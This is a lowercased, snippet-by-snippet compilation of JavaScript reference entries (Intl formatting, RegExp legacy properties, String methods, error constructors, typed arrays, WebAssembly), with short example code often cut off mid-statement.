var a = ['offenbach', 'Österreich', 'odenwald']; var collator = new intl.collator('de-u-co-phonebk'); a.sort(collator.compare); console.log(a.join(', ')); // → "odenwald, Österreich, offenbach" using compare for array search use the compare getter function for finding matching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('fr', { usage: 'search', sensitivity: 'base' }); var s = 'congres'; var matches = a.filter(v => collator.compare(v, s) === 0); console.log(matches.join(', ')); // → "...
...congrès, congres" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.compare' in that specification.
Intl.DateTimeFormat.prototype.formatRangeToParts() - JavaScript
let date1 = new date(date.utc(2007, 0, 10, 10, 0, 0)); let date2 = new date(date.utc(2007, 0, 10, 11, 0, 0)); // > 'wed, 10 jan 2007 10:00:00 gmt' // > 'wed, 10 jan 2007 11:00:00 gmt' let fmt = new intl.datetimeformat("en", { hour: 'numeric', minute: 'numeric' }); console.log(fmt.formatrange(date1, date2)); // > '10:00 – 11:00 am' fmt.formatrangetoparts(date1, date2); // return value: // [ // { type: 'hour', value: '10', source: "startrange" }, // { type: 'literal', value: ':', source: "startrange" }, // { type: 'minute', value: '00', source: "startrange" }, // { type: 'literal'...
..., value: ' – ', source: "shared" }, // { type: 'hour', value: '11', source: "endrange" }, // { type: 'literal', value: ':', source: "endrange" }, // { type: 'minute', value: '00', source: "endrange" }, // { type: 'literal', value: ' ', source: "shared" }, // { type: 'dayperiod', value: 'am', source: "shared" } // ] specifications specification intl.datetimeformat.formatrangethe definition of 'formatrangetoparts()' in that specification.
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
"gregory" numberingsystem the values requested using the unicode extension keys "ca" and "nu" or filled in as default values.
... examples using the resolvedoptions method var germanfakeregion = new intl.datetimeformat('de-xx', { timezone: 'utc' }); var usedoptions = germanfakeregion.resolvedoptions(); usedoptions.locale; // "de" usedoptions.calendar; // "gregory" usedoptions.numberingsystem; // "latn" usedoptions.timezone; // "utc" usedoptions.month; // "numeric" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat.prototype.resolvedoptions' in that specification.
Intl​.List​Format​.prototype​.formatToParts() - JavaScript
the type property may be either "element", which refers to a value from the list, or "literal" which refers to a linguistic construct.
... examples using formattoparts const fruits = ['apple', 'orange', 'pineapple']; const mylistformat = new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }); console.table(mylistformat.formattoparts(fruits)); // [ // { "type": "element", "value": "apple" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "orange" }, // { "type": "literal", "value": ", and " }, // { "type": "element", "value": "pineapple" } // ] specifications specification intl.listformatthe definition of 'formattoparts()' in that specification.
Intl.Locale.prototype.language - JavaScript
let langstr = new intl.locale("en-latn-us"); console.log(langstr.language); // prints "en" overriding language via the configuration object while the language subtag must be specified, the locale constructor takes a configuration object, which can override the language subtag.
... let langobj = new intl.locale("en-latn-us", {language: "es"}); console.log(langobj.language); // prints "es" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.region - JavaScript
the region is a mandatory part of a let regionstr = new intl.locale("en-latn-us"); console.log(regionstr.region); // prints "us" setting the region via the configuration object the locale constructor takes a configuration object, which can be used to set the region subtag and property.
... let regionobj = new intl.locale("fr-latn", {region: "fr"}); console.log(regionobj.region); // prints "fr" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.script - JavaScript
let scriptstr = new intl.locale("en-latn-us"); console.log(scriptstr.script); // prints "latn" setting the script via the configuration object the locale constructor takes a configuration object, which can be used to set the script subtag and property.
... let scriptobj = new intl.locale("fr-fr", {script: "latn"}); console.log(scriptobj.script); // prints "latn" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.NumberFormat.prototype.format() - JavaScript
examples using format use the format getter function for formatting a single currency value, here for russia: var options = { style: 'currency', currency: 'rub' }; var numberformat = new intl.numberformat('ru-ru', options); console.log(numberformat.format(654321.987)); // → "654 321,99 руб." using format with map use the format getter function for formatting all numbers in an array.
... var a = [123456.789, 987654.321, 456789.123]; var numberformat = new intl.numberformat('es-es'); var formatted = a.map(n => numberformat.format(n)); console.log(formatted.join('; ')); // → "123.456,789; 987.654,321; 456.789,123" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.prototype.format' in that specification.
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
pluralcategories an array of plural categories used by the given locale, seleced from the list "zero", "one", "two", "few", "many" and "other".
... examples using the resolvedoptions method var de = new intl.pluralrules('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.maximumfractiondigits; // 3 usedoptions.minimumfractiondigits; // 0 usedoptions.minimumintegerdigits; // 1 usedoptions.pluralcategories; // array [ "one", "other" ] usedoptions.type; // "cardinal" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules.prototype.resolvedoptions' in...
Map.prototype[@@toStringTag] - JavaScript
the map[@@tostringtag] property has an initial value of "map".
... property attributes of map.prototype[@@tostringtag] writable no enumerable no configurable yes syntax map[symbol.tostringtag] examples using tostringtag object.prototype.tostring.call(new map()) // "[object map]" specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@tostringtag]' in that specification.
NaN - JavaScript
parseint("blabla") or number(undefined)) math operation where the result is not a real number (e.g.
..."foo"/3) examples testing against nan nan compares unequal (via ==, !=, ===, and !==) to any other value -- including to another nan value.
Number.prototype.toLocaleString() - JavaScript
var number = 3500; console.log(number.tolocalestring()); // displays "3,500" if in u.s.
...tring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,457 // limit to three significant digits console.log(number.tolocalestring('en-in', { maximumsignificantdigits: 3 })); // → 1,23,000 // use the host default language with options for number formatting var num = 30000.65; console.log(num.tolocalestring(undefined, {minimumfractiondigits: 2, maximumfractiondigits: 2})); // → "30,000.65" where english is the default language, or // → "30.000,65" where german is the default language, or // → "30 000,65" where french is the default language specifications specification ecmascript (ecma-262)the definition of 'number.prototype.tolocalestring' in that specification.
Object.prototype.constructor - JavaScript
the value is only read-only for primitive values such as 1, true, and "test".
...only true, 1, and "test" will not be affected (as they have read-only native constructors).
Object.setPrototypeOf() - JavaScript
* *** object.appendchain(@object [, "@arg_name_1", "@arg_name_2", "@arg_name_3", "..."], "@function_body") *** object.appendchain(@object [, "@arg_name_1, @arg_name_2, @arg_name_3, ..."], "@function_body") * * appends the first non-native prototype of a chain to the native function.prototype object, then appends a * new function(["@arg"(s)], "@function_body") to that chain.
...n(nprime, new mysymbol()); console.log(oprime); // '17' console.log(oprime.issymbol); // 'yes' console.log(typeof oprime); // 'object' third example: appending a chain to the function.prototype object and appending a new function to that chain function person(sname) { this.identity = sname; } var george = object.appendchain(new person('george'), 'console.log("hello guys!!");'); console.log(george.identity); // 'george' george(); // 'hello guys!!' polyfill using the older object.prototype.__proto__ property, we can easily define object.setprototypeof if it isn't available already: if (!object.setprototypeof) { // only works in chrome and firefox, does not work in ie: object.prototype.setprototypeof = function(obj, proto) { if(obj...
Object.prototype.valueOf() - JavaScript
all objects have a string conversion, if only "[object type]".
... examples using valueof on custom types function mynumbertype(n) { this.number = n; } mynumbertype.prototype.valueof = function() { return this.number; }; var myobj = new mynumbertype(4); myobj + 3; // 7 using unary plus +"5" // 5 (string to number) +"" // 0 (string to number) +"1 + 2" // nan (doesn't evaluate) +new date() // same as (new date()).gettime() +"foo" // nan (string to number) +{} // nan +[] // 0 (tostring() returns an empty string list) +[1] // 1 +[1,2] // nan +new set([1]) // nan +bigint(1) // uncaught typeerror: cannot convert a bigint value to a number +undefined // nan +null // 0 +true // 1 +false // 0 specifications specification ecmascript (ecma-262)the definition of...
Promise.any() - JavaScript
const perr = new promise((resolve, reject) => { reject("always fails"); }); const pslow = new promise((resolve, reject) => { settimeout(resolve, 500, "done eventually"); }); const pfast = new promise((resolve, reject) => { settimeout(resolve, 100, "done quick"); }); promise.any([perr, pslow, pfast]).then((value) => { console.log(value); // pfast fulfils first }) // expected output: "done quick" rejections with aggregateerror promise.any()...
... const perr = new promise((resolve, reject) => { reject('always fails'); }); promise.any([perr]).catch((err) => { console.log(err); }) // expected output: "aggregateerror: no promise in promise.any was resolved" displaying the first image loaded in this example, we have a function that fetches an image and returns a blob.
handler.construct() - JavaScript
const p = new proxy(function() {}, { construct: function(target, argumentslist, newtarget) { console.log('called: ' + argumentslist.join(', ')); return { value: argumentslist[0] * 10 }; } }); console.log(new p(1).value); // "called: 1" // 10 the following code violates the invariant.
... const p = new proxy({}, { construct: function(target, argumentslist, newtarget) { return {}; } }); new p(); // typeerror is thrown, "p" is not a constructor specifications specification ecmascript (ecma-262)the definition of '[[construct]]' in that specification.
handler.set() - JavaScript
for example: suppose a script does obj.name = "jen", and obj is not a proxy, and has no own property .name, but it has a proxy on its prototype chain.
... const p = new proxy({}, { set: function(target, prop, value, receiver) { target[prop] = value; console.log('property set: ' + prop + ' = ' + value); return true; } }) console.log('a' in p); // false p.a = 10; // "property set: a = 10" console.log('a' in p); // true console.log(p.a); // 10 specifications specification ecmascript (ecma-262)the definition of '[[set]]' in that specification.
RangeError() constructor - JavaScript
filename optional the name of the file containing the code that caused the exception linenumber optional the line number of the code that caused the exception examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { throw new rangeerror('the argument must be an "apple", "banana", or "carrot".') ...
... } } try { check("cabbage") } catch(error) { if(error instanceof rangeerror) { // handle the error } } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructors' in that specification.
RangeError - JavaScript
examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { throw new rangeerror('the argument must be an "apple", "banana", or "carrot".') ...
... } } try { check("cabbage") } catch(error) { if(error instanceof rangeerror) { // handle the error } } specifications specification ecmascript (ecma-262)the definition of 'rangeerror' in that specification.
ReferenceError() constructor - JavaScript
examples catching a referenceerror try { let a = undefinedvariable } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', ...
...'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
ReferenceError - JavaScript
examples catching a referenceerror try { let a = undefinedvariable } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "undefinedvariable is not defined" console.log(e.name) // "referenceerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 6 console.log(e.stack) // "@scratchpad/2:2:7\n" } creating a referenceerror try { throw new referenceerror('hello', ...
...'somefile.js', 10) } catch (e) { console.log(e instanceof referenceerror) // true console.log(e.message) // "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'referenceerror' in that specification.
Reflect.getOwnPropertyDescriptor() - JavaScript
examples using reflect.getownpropertydescriptor() reflect.getownpropertydescriptor({x: 'hello'}, 'x') // {value: "hello", writable: true, enumerable: true, configurable: true} reflect.getownpropertydescriptor({x: 'hello'}, 'y') // undefined reflect.getownpropertydescriptor([], 'length') // {value: 0, writable: true, enumerable: false, configurable: false} difference to object.getownpropertydescriptor() if the target argument to this method is not an object (a primitive), then it will cause a typeerror.
... reflect.getownpropertydescriptor('foo', 0) // typeerror: "foo" is not non-null object object.getownpropertydescriptor('foo', 0) // { value: "f", writable: false, enumerable: true, configurable: false } specifications specification ecmascript (ecma-262)the definition of 'reflect.getownpropertydescriptor' in that specification.
Reflect.set() - JavaScript
examples using reflect.set() // object let obj = {} reflect.set(obj, 'prop', 'value') // true obj.prop // "value" // array let arr = ['duck', 'duck', 'duck'] reflect.set(arr, 2, 'goose') // true arr[2] // "goose" // it can truncate an array.
... reflect.set(arr, 'length', 1) // true arr // ["duck"] // with just one argument, propertykey and value are "undefined".
RegExp.prototype[@@matchAll]() - JavaScript
let re = /[0-9]+/g; let str = '2016-01-02'; let result = re[symbol.matchall](str); console.log(array.from(result, x => x[0])); // ["2016", "01", "02"] using @@matchall in subclasses subclasses of regexp can override the [@@matchall]() method to modify the default behavior.
... an iterator: class myregexp extends regexp { [symbol.matchall](str) { const result = regexp.prototype[symbol.matchall].call(this, str); if (!result) { return null; } else { return array.from(result); } } } const re = new myregexp('([0-9]+)-([0-9]+)-([0-9]+)', 'g'); const str = '2016-01-02|2019-03-07'; const result = str.matchall(re); console.log(result[0]); // [ "2016-01-02", "2016", "01", "02" ] console.log(result[1]); // [ "2019-03-07", "2019", "03", "07" ] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@matchall]' in that specification.
RegExp.prototype.flags - JavaScript
"gimsuy").
... polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return this.tostring().match(/[gimsuy]*$/)[0]; } }); } examples using flags /foo/ig.flags; // "gi" /bar/myu.flags; // "muy" specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.flags' in that specification.
RegExpInstance.lastIndex - JavaScript
console.log(re.exec('hi')); console.log(re.lastindex); returns ["hi", "hi"] with lastindex equal to 2.
... console.log(re.exec('hi')); console.log(re.lastindex); returns ["", undefined], an empty array whose zeroth element is the match string.
RegExp.lastMatch ($&) - JavaScript
you can not use the shorthand alias with the dot property accessor (regexp.$&), because the parser expects an expression with "&" in that case and a syntaxerror is thrown.
... examples using lastmatch and $& var re = /hi/g; re.test('hi there!'); regexp.lastmatch; // "hi" regexp['$&']; // "hi" specifications specification legacy regexp features in javascript ...
RegExp.lastParen ($+) - JavaScript
you can not use the shorthand alias with the dot property accessor (regexp.$+), because the parser expects an expression with "+" in that case and a syntaxerror is thrown.
... examples using lastparen and $+ var re = /(hi)/g; re.test('hi there!'); regexp.lastparen; // "hi" regexp['$+']; // "hi" specifications specification legacy regexp features in javascript ...
RegExp.$1-$9 - JavaScript
var re = /(\w+)\s(\w+)/; var str = 'john smith'; str.replace(re, '$2, $1'); // "smith, john" regexp.$1; // "john" regexp.$2; // "smith" using $n with regexp.test the following script uses the test() method of the regexp instance to grab a number in a generic string.
...regexp.$1 : '0'; number; // "24" please note that any operation involving the usage of other regular expressions between a re.test(str) call and the regexp.$n property, might have side effects, so that accessing these special properties should be done instantly, otherwise the result might be unexpected.
RegExp.rightContext ($') - JavaScript
instead, you always use it as regexp.rightcontext or regexp["$'"].
... examples using rightcontext and $' var re = /hello/g; re.test('hello world!'); regexp.rightcontext; // " world!" regexp["$'"]; // " world!" specifications specification legacy regexp features in javascript ...
RegExp.prototype.sticky - JavaScript
property attributes of regexp.prototype.sticky writable no enumerable no configurable yes description the value of sticky is a boolean and true if the "y" flag was used; otherwise, false.
... the "y" flag indicates that it matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes).
Set.prototype.delete() - JavaScript
no "bar" element found to be deleted.
...the "foo" element is no longer present.
String.prototype.charCodeAt() - JavaScript
this is because the higher code points are represented by a pair of (lower valued) "surrogate" pseudo-characters which are used to comprise the real character.
...f]/g; while ((surrogatepairs.exec(str)) != null) { var li = surrogatepairs.lastindex; if (li - 2 < idx) { idx++; } else { break; } } if (idx >= end || idx < 0) { return nan; } code = str.charcodeat(idx); var hi, low; if (0xd800 <= code && code <= 0xdbff) { hi = code; low = str.charcodeat(idx + 1); // go one further, since one of the "characters" // is part of a surrogate pair return ((hi - 0xd800) * 0x400) + (low - 0xdc00) + 0x10000; } return code; } specifications specification ecmascript (ecma-262)the definition of 'string.prototype.charcodeat' in that specification.
String.prototype.fixed() - JavaScript
description the fixed() method embeds a string in a <tt> tag: "<tt>str</tt>".
... examples using fixed() the following example uses the fixed method to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.fixed()); // "<tt>hello, world</tt>" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fixed' in that specification.
String.prototype.fontcolor() - JavaScript
for example, the hexadecimal rgb values for salmon are red=fa, green=80, and blue=72, so the rgb triplet for salmon is "fa8072".
... var worldstring = 'hello, world'; console.log(worldstring.fontcolor('red') + ' is red in this line'); // '<font color="red">hello, world</font> is red in this line' console.log(worldstring.fontcolor('ff00') + ' is red in hexadecimal in this line'); // '<font color="ff00">hello, world</font> is red in hexadecimal in this line' with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.color = 'red'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fontcolor' in that...
String.prototype.fontsize() - JavaScript
when you specify size as a string such as "-2", you adjust the font size of str relative to the size set in the <basefont> tag.
... examples using fontsize() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '0.7em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fontsize' in that specification.
String.prototype.lastIndexOf() - JavaScript
for example, the following expression returns -1: 'blue whale, killer whale'.lastindexof('blue'); // returns -1 examples using indexof() and lastindexof() the following example uses indexof() and lastindexof() to locate values in the string "brave new world".
... let anystring = 'brave new world'; console.log('the index of the first w from the beginning is ' + anystring.indexof('w')); // logs 8 console.log('the index of the first w from the end is ' + anystring.lastindexof('w')); // logs 10 console.log('the index of "new" from the beginning is ' + anystring.indexof('new')); // logs 6 console.log('the index of "new" from the end is ' + anystring.lastindexof('new')); // logs 6 specifications specification ecmascript (ecma-262)the definition of 'string.prototype.lastindexof' in that specification.
String length - JavaScript
(getcharacterlength('a\ud87e\udc04z')); // 3 // while not recommended, you could add this to each string as follows: object.defineproperty(string.prototype, 'charlength', { get () { return getcharacterlength(this); } }); console.log('a\ud87e\udc04z'.charlength); // 3 examples basic usage let x = 'mozilla'; let empty = ''; console.log(x + ' is ' + x.length + ' code units long'); /* "mozilla is 7 code units long" */ console.log('the empty string has a length of ' + empty.length); // expected output: "the empty string has a length of 0" assigning to length let mystring = "bluebells"; // attempting to assign a value to a string's .length property has no observable effect.
... mystring.length = 4; console.log(mystring); // expected output: "bluebells" console.log(mystring.length); // expected output: 9 specifications specification ecmascript (ecma-262) ...
String.prototype.padEnd() - JavaScript
the default value for this parameter is " " (u+0020).
... examples using padend 'abc'.padend(10); // "abc " 'abc'.padend(10, "foo"); // "abcfoofoof" 'abc'.padend(6, "123456"); // "abc123" 'abc'.padend(1); // "abc" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.padend' in that specification.
String.prototype.padStart() - JavaScript
the default value is " " (u+0020 'space').
... examples basic examples 'abc'.padstart(10); // " abc" 'abc'.padstart(10, "foo"); // "foofoofabc" 'abc'.padstart(6,"123465"); // "123abc" 'abc'.padstart(8, "0"); // "00000abc" 'abc'.padstart(1); // "abc" fixed width string number conversion // javascript version of: (unsigned) // printf "%0*d" width num function leftfillnum(num, targetlength) { return num.tostring().padstart(targetlength, 0); } const num = 123; console.log(leftfillnum(num, 5)); // expected output: "00123" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.padstart' in that specification.
String.prototype.small() - JavaScript
description the small() method embeds a string in a <small> tag: "<small>str</small>".
... examples using small() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '0.7em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.small' in that specification.
String.prototype.sup() - JavaScript
description the sup() method embeds a string in a <sup> tag: "<sup>str</sup>".
... examples using sub() and sup() methods the following example uses the sub() and sup() methods to format a string: var supertext = 'superscript'; var subtext = 'subscript'; console.log('this is what a ' + supertext.sup() + ' looks like.'); // "this is what a <sup>superscript</sup> looks like." console.log('this is what a ' + subtext.sub() + ' looks like.'); // "this is what a <sub>subscript</sub> looks like." specifications specification ecmascript (ecma-262)the definition of 'string.prototype.sup' in that specification.
String.prototype.toLocaleLowerCase() - JavaScript
exceptions a rangeerror ("invalid language tag: xx_yy") is thrown if a locale argument isn't a valid language tag.
... a typeerror ("invalid element in locales argument") is thrown if an array element isn't of type string.
String.prototype.toLocaleUpperCase() - JavaScript
exceptions a rangeerror ("invalid language tag: xx_yy") is thrown if a locale argument isn't a valid language tag.
... a typeerror ("invalid element in locales argument") is thrown if an array element isn't of type string.
Symbol.prototype.description - JavaScript
it is different to symbol.prototype.tostring() as it does not contain the enclosing "symbol()" string.
... examples using description symbol('desc').tostring(); // "symbol(desc)" symbol('desc').description; // "desc" symbol('').description; // "" symbol().description; // undefined // well-known symbols symbol.iterator.tostring(); // "symbol(symbol.iterator)" symbol.iterator.description; // "symbol.iterator" // global symbols symbol.for('foo').tostring(); // "symbol(foo)" symbol.for('foo').description; // "foo" specifications specification ecmascript (ecma-262)the definition of 'get symbol.prototype.description' in that specification.
Symbol.prototype.toSource() - JavaScript
examples native function for the built-in symbol object, tosource returns the following string indicating that the source code is not available: "function symbol() { [native code] }" for instances of symbol, tosource returns a string representing the source code.
... "symbol()" specifications not part of any standard.
Symbol.unscopables - JavaScript
that means that inside with environment "keys" would now be the method and not the variable.
... var keys = []; with (array.prototype) { keys.push('something'); } object.keys(array.prototype[symbol.unscopables]); // ["copywithin", "entries", "fill", "find", "findindex", // "includes", "keys", "values"] unscopables in objects you can also set unscopables for your own objects.
TypeError() constructor - JavaScript
the line number of the code that caused the exception examples catching a typeerror try { null.f() } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e i...
...nstanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
TypeError - JavaScript
examples catching a typeerror try { null.f() } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e i...
...nstanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'typeerror' in that specification.
TypedArray.prototype.fill() - JavaScript
polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis.
... use the following "polyfill" along with the array.prototype.fill() polyfill.
TypedArray.prototype.join() - JavaScript
if omitted, the typed array elements are separated with a comma (",").
... polyfill since there is no global object with the name typedarray, polyfilling must be done on an "as needed" basis.
TypedArray.name - JavaScript
the first part can be int for "integer" or uint for an "unsigned integer", also float for "floating point" is used.
... examples using name int8array.name; // "int8array" uint8array.name; // "uint8array" uint8clampedarray.name; // "uint8clampedarray" int16array.name; // "int16array" uint16array.name; // "uint16array" int32array.name; // "int32array" uint32array.name; // "uint32array" float32array.name; // "float32array" float64array.name; // "float64array" specifications specification ecmascript (ecma-262)the definition of 'typedarray.name' in that specification.
TypedArray.prototype.toString() - JavaScript
var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "2,5,8,1,4" javascript calls the tostring method automatically when a typed array is to be represented as a text value or when an array is referred to in a string concatenation.
... compatibility if a browser doesn't support the typedarray.prototype.tostring() method yet, javascript will call the tostring method of object: var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "[object uint8array]" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
TypedArray - JavaScript
typedarray.name returns the string value of the constructor name (e.g, "int8array").
...types are not consulted (fx 25) int8array.prototype[20] = 'foo'; (new int8array(32))[20]; // 0 // even when out of bound int8array.prototype[20] = 'foo'; (new int8array(8))[20]; // undefined // or with negative integers int8array.prototype[-1] = 'foo'; (new int8array(8))[-1]; // undefined // named properties are allowed, though (fx 30) int8array.prototype.foo = 'bar'; (new int8array(32)).foo; // "bar" specifications specification ecmascript (ecma-262)the definition of 'typedarray objects' in that specification.
URIError() constructor - JavaScript
examples catching an urierror try { decodeuricomponent('%') } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating an urierror try { throw new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instance...
...of urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
URIError - JavaScript
examples catching an urierror try { decodeuricomponent('%') } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating an urierror try { throw new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instance...
...of urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'urierror' in that specification.
WeakMap - JavaScript
by contrast, native weakmaps hold "weak" references to key objects, which means that they do not prevent garbage collection in case there would be no other reference to the key object.
... wm1.get(o2); // "azerty" wm2.get(o2); // undefined, because there is no key for o2 on wm2 wm2.get(o3); // undefined, because that is the set value wm1.has(o2); // true wm2.has(o2); // false wm2.has(o3); // true (even if the value itself is 'undefined') wm3.set(o1, 37); wm3.get(o1); // 37 wm1.has(o1); // true wm1.delete(o1); wm1.has(o1); // false implementing a weakmap-like class with a .clear() method class ...
WeakRef - JavaScript
that is, you can only "see" an object get reclaimed between turns of the event loop.
...new weakref(element); this.start(); } start() { if (this.timer) { return; } this.count = 0; const tick = () => { // get the element from the weak reference, if it still exists const element = this.ref.deref(); if (element) { element.textcontent = ++this.count; } else { // the element doesn't exist anymore console.log("the element is gone."); this.stop(); this.ref = null; } }; tick(); this.timer = setinterval(tick, 1000); } stop() { if (this.timer) { clearinterval(this.timer); this.timer = 0; } } } const counter = new counter(document.getelementbyid("counter")); counter.start(); settimeout(() => { document.getelementbyid("counter").remove(); }, 500...
WebAssembly.Global() constructor - JavaScript
got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", inst...
...ance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
WebAssembly.Module.exports() - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
...nc: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification.
WebAssembly.Table() constructor - JavaScript
at the moment this can only have a value of "anyfunc" (functions).
... var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method.
WebAssembly.validate() - JavaScript
fetch('simple.wasm').then(response => response.arraybuffer() ).then(function(bytes) { var valid = webassembly.validate(bytes); console.log("the given bytes are " + (valid ?
